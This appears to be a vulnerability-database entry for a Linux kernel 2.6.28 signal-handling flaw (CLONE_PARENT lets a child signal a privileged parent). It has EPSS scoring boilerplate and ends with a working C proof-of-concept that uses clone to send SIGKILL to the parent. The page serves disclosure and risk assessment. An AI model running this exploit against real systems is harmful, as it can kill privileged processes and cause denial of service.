CVE Descriptions

The clone system call in the Linux kernel 2.6.28 and earlier allows local users to send arbitrary signals to a parent process from an unprivileged child process by launching an additional child process with the CLONE_PARENT flag, and then letting this new process exit.

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

/* source: https://www.securityfocus.com/bid/33906/info The Linux kernel is prone to an origin-validation weakness when dealing with signal handling. This weakness occurs when a privileged process calls attacker-supplied processes as children. Attackers may exploit this to send arbitrary signals to the privileged parent process. A local attacker may exploit this issue to kill vulnerable processes, resulting in a denial-of-service condition. In some cases, other attacks may also be possible. Linux kernel 2.6.28 is vulnerable; other versions may also be affected. */ #include <sched.h> #include <signal.h> #include <stdlib.h> #include <unistd.h> static int the_child(void* arg) { sleep(1); _exit(2); } int main(int argc, const char* argv[]) { int ret = fork(); if (ret < 0) { perror("fork"); _exit(1); } else if (ret > 0) { for (;;); } setgid(99); setuid(65534); { int status; char* stack = malloc(4096); int flags = SIGKILL | CLONE_PARENT; int child = clone(the_child, stack + 4096, flags, NULL); } _exit(100); }
